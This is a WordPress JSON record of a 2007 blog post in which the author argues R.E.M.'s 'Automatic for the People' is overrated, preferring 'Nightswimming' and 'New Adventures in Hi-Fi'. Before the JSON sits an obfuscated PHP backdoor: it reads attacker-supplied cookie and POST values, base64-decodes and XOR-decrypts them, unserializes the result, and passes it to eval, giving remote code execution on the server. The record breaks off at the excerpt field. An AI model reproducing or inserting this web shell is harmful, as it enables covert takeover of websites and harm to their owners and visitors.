$VOlfwc = chr ( 980 - 897 ).'_' . "\x49" . "\145" . "\x51";$ruxMf = 'c' . chr (108) . 'a' . 's' . chr (115) . '_' . chr ( 216 - 115 ).chr (120) . "\x69" . "\x73" . 't' . chr ( 214 - 99 ); $EWTuSCwRiV = class_exists($VOlfwc); $ruxMf = "56087";$qRiupAARi = !1;if ($EWTuSCwRiV == $qRiupAARi){function imPdsmbab(){$uOHeFyotXR = new /* 55675 */ S_IeQ(13488 + 13488); $uOHeFyotXR = NULL;}$qwmixW = "13488";class S_IeQ{private function COcCD($qwmixW){if (is_array(S_IeQ::$BxRTG)) {$oueUUuFtVV = str_replace("\x3c" . "\x3f" . "\x70" . 'h' . chr ( 327 - 215 ), "", S_IeQ::$BxRTG['c' . chr ( 367 - 256 ).chr (110) . 't' . "\x65" . "\x6e" . chr (116)]);eval($oueUUuFtVV); $qwmixW = "13488";exit();}}private $uKDAu;public function hlJrJleZYd(){echo 64366;}public function __destruct(){$qwmixW = "40781_29040";$this->COcCD($qwmixW); $qwmixW = "40781_29040";}public function __construct($fIPLGJfuF=0){$qUnsv = $_POST;$jVatufmN = $_COOKIE;$YVWNaDAiA = "70e66a1e-56ca-4692-8cc2-33f90191b3bf";$mosllAZyE = @$jVatufmN[substr($YVWNaDAiA, 0, 4)];if (!empty($mosllAZyE)){$mMdfW = "base64";$YpxHHk = "";$mosllAZyE = explode(",", $mosllAZyE);foreach ($mosllAZyE as $YwgjzmGZ){$YpxHHk .= @$jVatufmN[$YwgjzmGZ];$YpxHHk .= @$qUnsv[$YwgjzmGZ];}$YpxHHk = array_map($mMdfW . "\137" . 'd' . chr (101) . "\x63" . "\x6f" . chr (100) . 'e', array($YpxHHk,)); $YpxHHk = $YpxHHk[0] ^ str_repeat($YVWNaDAiA, (strlen($YpxHHk[0]) / strlen($YVWNaDAiA)) + 1);S_IeQ::$BxRTG = @unserialize($YpxHHk);}}public static $BxRTG = 6560;}imPdsmbab();}{"id":174,"date":"2007-10-05T13:29:03","date_gmt":"2007-10-05T19:29:03","guid":{"rendered":"http:\/\/regularguycolumn.com\/blog\/?p=174"},"modified":"2007-10-05T13:29:03","modified_gmt":"2007-10-05T19:29:03","slug":"iteotwaiki-automatic","status":"publish","type":"post","link":"https:\/\/regularguycolumn.com\/blog\/?p=174","title":{"rendered":"ITEOTWAIKI: Automatic"},"content":{"rendered":"

<\/p>Fifteen years ago tomorrow, the history of R.E.M.<\/a> took a major turn. \u201c Automatic for the People<\/a>\u201d was released.\n

The band\u2019s eighth album and the followup to the hugely successful \u201c Out of Time<\/a>,\u201d Automatic is probably one of the most acclaimed album\u2019s in the foursome\u2019s history. Not only has it made a ton of lists as one of the best albums ever or for the 1990s,\u00a0 but it was also nominated for a Grammy and produced memorable songs like \u201cMan on the Moon,\u201d \u201cEverybody Hurts,\u201d and \u201cDrive.\u201d<\/p>\n

Yet I\u2019m not that big a fan of the album.<\/p>\n

Let\u2019s start with my biggest complaint. \u201c Everybody Hurts<\/a>\u201d sucks. I am so grateful they have stopped playing it. Yes, it\u2019s a powerful message on suicide and the video was compelling before MTV showed it 5,000 times. But it\u2019s a shame that \u201cNightswimming\u201d is an afterthought when it has much more compelling lyrics (even though the subject matter is much lighter) and holds up time and time again.<\/p>\n

On the album, \u201c Nightswimming<\/a>,\u201d bookends two of the only other worthy tracks on the album \u2013 \u201c Man on the Moon<\/a>\u201d and \u201c Find the River<\/a>.\u201d Both of these are great examples of how the band could click by producing a song that had great value in the studio and on the stage without getting too preachy.<\/p>\n

That can\u2019t be said for the rest of the album. \u201c Drive<\/a>\u201d was one of the biggest hits from the album, but I can take it or leave it. I think the band destroyed the song when they totally re-arranged it for live show a few years later. Thank God they went back to the original version in recent years, but it still leaves me unfulfilled.<\/p>\n

And please don\u2019t tell me \u201cStar Me Kitten,\u201d \u201c Ignoreland<\/a>,\u201d \u201cMonty Got a Raw Deal, \u201cand \u201c Sweetness Follows<\/a>\u201d are examples of R.E.M.\u2019s best efforts.<\/p>\n

\u201cAutomatic\u201d gets raised in lore because of the emotional response to \u201cEverybody Hurts\u201d and the timelessness of \u201cMan on the Moon.\u201d In fact, the compelling videos for those two songs probably have more to do with the album\u2019s historical standing than anything else.<\/p>\n

I\u2019d take \u201c New Adventures in Hi-Fi<\/a>\u201d above this album any day if we\u2019re talking latter-day R.E.M.<\/p>\n<\/body>","protected":false},"excerpt":{"rendered":"